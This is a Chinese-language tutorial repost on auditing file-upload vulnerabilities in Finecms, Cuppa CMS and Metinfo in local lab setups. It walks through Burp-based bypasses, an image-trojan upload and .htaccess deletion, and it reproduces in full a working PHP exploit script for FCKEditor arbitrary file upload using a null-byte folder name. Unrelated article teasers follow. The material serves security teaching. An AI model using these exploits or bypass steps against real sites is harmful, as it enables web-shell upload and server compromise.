WEB攻防-通用漏洞_文件上传_黑白盒审计流程

目录

前置知识点

Finecms-CMS文件上传

​编辑 Cuppa-Cms文件上传

Metinfo-CMS 文件上传


前置知识点

思路:

黑盒就是寻找一切存在文件上传的功能应用
1 、个人用户中心是否存在文件上传功能
2 、后台管理系统是否存在文件上传功能
3 、字典目录扫描探针文件上传构造地址
4 、字典目录扫描探针编辑器目录构造地址
白盒看三点,中间件,编辑器,功能代码
1 、中间件直接看语言环境常见搭配
2 、编辑器直接看目录机构或搜索关键字
3 、功能代码直接看源码应用或搜索关键字

Finecms-CMS文件上传

黑盒思路:寻找上传点抓包修改突破获取状态码及地址

首先是进行页面分析,寻找上传点,一般都是需要注册账号的,登上去发现个人中心有一个头像上传的地方

上传一个图片用burp抓包,看看数据包有什么结构

直接发送数据包。右键点击图片获取地址:http://127.0.0.1:8100/uploadfile/member/3/45x45.jpeg

多次测试图像上传,发现对原来的文件进行覆盖,重新上传后,刚刚获取的http://127.0.0.1:8100/uploadfile/member/3/45x45.jpeg失效

  http://127.0.0.1:8086/uploadfile/member/1/45x45.png(重新上传后的地址)

  http://localhost:8086/uploadfile/member/1/45x45.jpeg(上传png后失效)

可以发现上面抓取的数据包,即没有文件的名字,也没有文件的后缀名格式。但tx参数有很多熟悉的东西,如image/png,base64这样的字眼,尝试把后面的内容放在brup中进行base64解码 :decode as->选择base64解码

用C32asm或其他hex工具打开原图片,与burp解码后的结果对比,可以看到是一模一样的。

常规上传图片数据包应该有:
  filename
  type
  上传数据 

在这个文件上传中,只有
  type=data%3Aimage%2Fpng
  上传数据是base64后面一长串
  filename:但是没有看到上传的文件名

可以尝试修改type的值,然后再把内容进行编码发送。把文件的类型改为“php”,重新发包

可以看到返回{"status":0,"code":"\u4e0a\u4f20\u9519\u8bef\uff1a<p>Unable to save the image. Please make sure the image and file directory are writable.<\/p>","id":0}

翻译过来就是“上传错误:无法保存图像。请确保图像和文件目录是可写的。”

尝试访问http://127.0.0.1:8100/uploadfile/member/1/45x45.php,结果返回404

 现在有两种可能,一就是没有上传成功,二就是上传成功但是路径不一样了,或者文件名被改了

 审计流程:功能点-代码文件-代码块-抓包调试-验证测试

同样的进入网站首页,注册登入,进入个人中心上传图片抓包分析

获取路径,找到对应的代码

关键代码如下:

 public function upload() {// 创建图片存储文件夹$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';@dr_dir_delete($dir);!is_dir($dir) && dr_mkdirs($dir);if ($_POST['tx']) {$file = str_replace(' ', '+', $_POST['tx']);if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){$new_file = $dir.'0x0.'.$result[2];if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {exit(dr_json(0, '目录权限不足或磁盘已满'));} else {$this->load->library('image_lib');$config['create_thumb'] = TRUE;$config['thumb_marker'] = '';$config['maintain_ratio'] = FALSE;$config['source_image'] = $new_file;foreach (array(30, 45, 90, 180) as $a) {$config['width'] = $config['height'] = $a;$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];$this->image_lib->initialize($config);if (!$this->image_lib->resize()) {exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));break;}}list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);!$type && exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片不存在'));}

$new_file = $dir.'0x0.'.$result[2];在这里,$result[2] 是从输入数据中提取的 MIME 类型的一部分,在这个例子中是 php,并且它直接被用作文件扩展名。由于您的代码没有检查 $result[2] 是否是一个有效的图片类型扩展名,因此它允许非图片类型的文件被保存。

  1. 文件保存和缩略图生成是独立的操作:在代码中,原始图片被命名为 0x0.php,尽管它实际上是一个 PHP 文件而不是图片,首先被保存到磁盘上。然后,尝试为这个文件生成多个尺寸的缩略图。

  2. 缩略图生成失败不会删除原始文件:即使缩略图生成失败,并且 exit() 函数被调用以返回错误信息,原始文件0x0.php仍然保留在磁盘上。这是因为代码中没有包含在任何情况下删除原始文件的逻辑。

  3. 逻辑上的漏洞:由于代码允许非图片类型的文件被保存为图片文件,并且缩略图生成失败不会触发原始文件的删除,因此存在安全风险。攻击者可以利用这个漏洞上传恶意的 PHP 文件,并尝试通过其他手段(如文件包含漏洞)执行它。但是一般黑盒能想到被重命名为0x0.php还是很小的。

上面黑盒看到的状态0,上传错误,就是我们上传到文件生成缩略图失败了

if (!$this->image_lib->resize()) {exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));break;}

将文件前缀改成了0x0,现在我们尝试将名称改为0x0再次访问

 Cuppa-Cms文件上传

黑盒思路:

登录进管理界面,寻找可利用的点,在settings中的files发现可以更改允许的文件扩展名

加上 *.php。

 并找到文件管理器,且可文件上传,这个上传的会检验文件头是不是图片格式的,所以写个图片马绕过检测

 

网站有前端js验证,所以需要把文件扩展名改为图片格式的扩展名,再用burpsuite抓包改成php

 文件管理器还可以显示文件的路径

但访问上传的木马,发现访问不了 

回到文件管理器,其实是.htaccess文件加了限制,发现在文件管理器能删除文件,就把.htaccess文件删了,再去访问

这里不添加php也是可行的,上传图片马,有一个重命名的功能,修改名字的时候抓包,改掉后缀

 

 白盒分析发现做了正则表达式过滤,过滤也很严谨,所以此处上传功能是没有漏洞的

但是黑盒测试通过rename功能突破的,我们重点看rename的操作。从这段代码中发现它的文件重命名后缀是通过原有文件拼接上去的,只做了前端限制,还是会接收文件的绝对地址,所以此处是有漏洞的。如果此处对后缀固定,则无漏洞。

上传抓包上传,发现URL:js/jquery_file_upload/server/php/index.php
index.php代码:
ini_set('display_errors', "0");
error_reporting(E_ALL | E_STRICT);
require('UploadHandler.php');
$upload_handler = new UploadHandler();

找到UploadHandler.php,搜索关键字:file type not allowed

因为'accept_file_types' => 'Filetype not allowed',这段代码,所以继续跟踪'accept_file_types' 这个代码段

 

查看允许上传的后缀:

'accept_file_types' => '/.('.$allowed_extensions.')$/i',

跟踪$allowed_extensions,应该是在配置文件里生成

全局搜索$allowed_extensions,在Configuration.php有声明,也是上面黑盒中添加php后缀的那玩意

public $allowed_extensions = "*.gif; *.jpg; *.jpeg; *.pdf; *.ico; *.png; *.svg;";
很明显,这个是白名单过滤。
重命名的数据包指向文件:js/filemanager/api/index.php

这段代码是没有任何过滤的

前端没有显示后缀,是因为js做了截断,找到相对应的HTML代码。全局搜索rename

Metinfo-CMS 文件上传

审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证

扫描得到fckeditor

http://127.0.0.1:8102/fckeditor/

然后在网上找利用点。

扫描获取版本路径:http://127.0.0.1:8102/fckeditor/editor/dialog/fck_about.html

网上找exp,用php.exe跑,php5.4之前才可以,比较老的一个漏洞

<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'xiaodi'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66536.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Agentic RAG 解释

RAG&#xff08;检索增强生成&#xff09;通过提供来自外部知识源的相关背景来帮助提高 LLM 答案的准确性和可靠性。 Agentic RAG 是高级 RAG 版本&#xff0c;它使用 AI 代理来更加自主地行动。 Agentic RAG 执行以下操作 查询理解、分解和重写检索策略选择知识库管理结果综…

apex安装

安装过程复杂曲折&#xff0c;网上说的很多办法&#xff0c;貌似成功了&#xff0c;实际还是没起作用。 先说成功过程&#xff0c;执行下面命令&#xff0c;安装成功&#xff08;当然&#xff0c;前提是你要先配置好编译环境&#xff09;&#xff1a; &#xff08;我的环境&a…

shell-条件判断

目录 一、条件判断 1.按照文件类型进行判断 2.按照文件权限进行判断 3.两个文件之间进行比较 4.两个整数之间进行比较 5.字符串的判断 6.多重条件判断 二、if条件判断 1.单分支if条件语句 2.双分支if条件语句 &#xff08;1&#xff09;判断某文件是否存在 &#x…

基于FPGA的出租车里程时间计费器

基于FPGA的出租车里程时间计费器 功能描述一、系统框图二、verilog代码里程增加模块时间增加模块计算价格模块上板视频演示 总结 功能描述 &#xff08;1&#xff09;&#xff1b;里程计费功能&#xff1a;3公里以内起步价8元&#xff0c;超过3公里后每公里2元&#xff0c;其中…

将数组转换为laravel中的对象

将数组转换为laravel中的对象 在Laravel中&#xff0c;可以通过使用集合&#xff08;Collection&#xff09;来将数组转换为对象。集合是Laravel提供的一个强大的工具&#xff0c;用于处理数组数据。 将数组转换为Laravel中的对象的步骤如下&#xff1a; 首先&#xff0c;确…

jdk8升级JDK21(Springboot2.7.18升级Springboot3.4.0)

目录 背景&#xff1a; 一、maven升级 二、代码改造 2.1 javax替换为jakarta 2.2 swagger2升级swagger3相关更新 2.2.1 新增SpringDocConfig配置类 2.2.2 全局代码更新 2.2.3 全局代码替换&#xff08;普通正则替换&#xff09; 2.3 Mybatis Plus升级 2.4 logback.xm…

AI赋能跨境电商:魔珐科技3D数字人破解出海痛点

跨境出海进入狂飙时代&#xff0c;AI应用正在深度渗透并重塑着跨境电商产业链的每一个环节&#xff0c;迎来了发展的高光时刻。生成式AI时代的大幕拉开&#xff0c;AI工具快速迭代&#xff0c;为跨境电商行业的突破与飞跃带来了无限可能性。 由于跨境电商业务自身特性鲜明&…

【HarmonyOS NEXT】鸿蒙应用实现屏幕录制详解和源码

【HarmonyOS NEXT】鸿蒙应用实现屏幕录制详解和源码 一、前言 官方文档关于屏幕录制的API和示例介绍获取简单和突兀。使用起来会让上手程度变高。所以特意开篇文章&#xff0c;讲解屏幕录制的使用。官方文档参见&#xff1a;使用AVScreenCaptureRecorder录屏写文件(ArkTS) 二…

Ubuntu挂载云盘操作步骤

1. 查看磁盘分区情况 使用 fdisk -l 命令查看当前系统中所有磁盘的分区情况&#xff0c;找到需要挂载的云盘设备&#xff0c;例如/dev/vdc。 2. 创建新分区 使用 fdisk /dev/vdc 命令对云盘进行分区操作&#xff1a; 输入n创建新分区。 输入p选择创建主分区。 输入1指定分区…

stm32u5串口点灯

通过对单个字符输入的拼接暂存&#xff0c;实现对字符串的比较控制灯的亮灭 char buf[32];char temp[32];while (1){printf("start\n\r");memset(temp,0, sizeof(temp));memset(buf,0, sizeof(buf));while(temp[0] !\r){memset(temp,0, sizeof(temp));HAL_UART_Rece…

PHP 5 6 7 8 9 各重要版本开发特性和选择简要说明

PHP开发&#xff0c;所用版本的选型 PHP5.4是最后一个支持纯正32位操作系统的版本&#xff0c;在Winxp下仍可使用。 PHP5.6是php5.x的最后一个稳定版本&#xff0c;时至今天&#xff0c;仍有很多用户网站系统在使用&#xff0c;网上仍有很多学习资料是基于这个版本&#xff0c;…

Xen 虚拟化技术在云计算平台中的应用详解

Xen 虚拟化技术在云计算平台中的应用详解 随着云计算的飞速发展&#xff0c;虚拟化技术成为构建云平台的核心支柱&#xff0c;而 Xen 作为一种高性能、开源的虚拟化技术&#xff0c;被广泛应用于云计算平台中。Xen 凭借其灵活的架构和出色的性能&#xff0c;为众多云服务商提供…

Elixir语言的正则表达式

Elixir语言中的正则表达式 引言 正则表达式是用于匹配文本模式的一种强大工具。在很多编程语言中&#xff0c;正则表达式被广泛应用于字符串的查找、替换和验证。Elixir作为一门现代化的函数式编程语言&#xff0c;也提供了对正则表达式的支持&#xff0c;方便开发者进行复杂…

MATLAB语言的正则表达式

MATLAB 中的正则表达式使用指南 引言 在数据处理和文本分析中&#xff0c;正则表达式是一种强大而灵活的工具。MATLAB 作为一种广泛应用于科学计算和数据分析的编程语言&#xff0c;提供了对正则表达式的支持&#xff0c;使得用户可以方便地进行字符串匹配与处理。本文将深入…

《Java 中 Thread 类的基本用法总结》

在 Java 编程中&#xff0c;Thread类是实现多线程的核心类之一。下面将对Thread类在创建线程、线程中断、线程等待、线程休眠和获取线程实例等方面的基本用法进行总结。 一、线程创建 继承 Thread 类 定义一个类继承自Thread类。重写run方法&#xff0c;run方法中包含了该线程…

Flannel:Kubernetes 网络方案的“轻骑兵”

Flannel&#xff1a;Kubernetes 网络方案的“轻骑兵” 在 Kubernetes 中&#xff0c;网络是连接所有组件的核心。每个 Pod 都需要一个独立的 IP&#xff0c;方便 Pod 间的通信&#xff0c;而 Flannel 正是解决这个问题的经典容器网络插件&#xff08;CNI&#xff09;。它简单、…

Android - NDK:编译可执行程序在android设备上运行

在android开发中&#xff0c;调试时会把C代码直接编译成可执行程序&#xff0c;运行在android设备上以确认其功能是否正常。 1、基于NDK编译可执行文件 2、push到 /data/local/tmp目录下 3、设置权限&#xff0c;执行。 ndk工程中build.gradle设置 groovy plugins {id com.a…

用matlab调用realterm一次性发送16进制数

realterm采用PutString接口进行发送&#xff0c;需要注意的是发送的16进制数前面要加入0x标志。只有这样&#xff0c;realterm才能将输入的字符串识别为16进制数的形式。 另外,PutString函数支持两个参数输入&#xff0c;第一个参数为字符串&#xff0c;第二个参数为发送形式&…

Python3刷算法来呀,贪心系列题单

1.7号题单 1、​​​​​​k次取反后最大值 2、柠檬水找零 3、分发糖果 示例 1&#xff1a; 输入&#xff1a;ratings [1,0,2] 输出&#xff1a;5 解释&#xff1a;你可以分别给第一个、第二个、第三个孩子分发 2、1、2 颗糖果。示例 2&#xff1a; 输入&#xff1a;ratings…

Couchbase 和数据湖技术的区别、联系和相关性分析

Couchbase 和数据湖技术&#xff08;如 Delta Lake、Apache Hudi、Apache Iceberg&#xff09;分别是两类不同的数据存储与管理系统&#xff0c;但它们也可以在特定场景中结合使用&#xff0c;以下是它们的区别、联系和相关性分析&#xff1a; 区别&#xff1a; 1. 核心用途&a…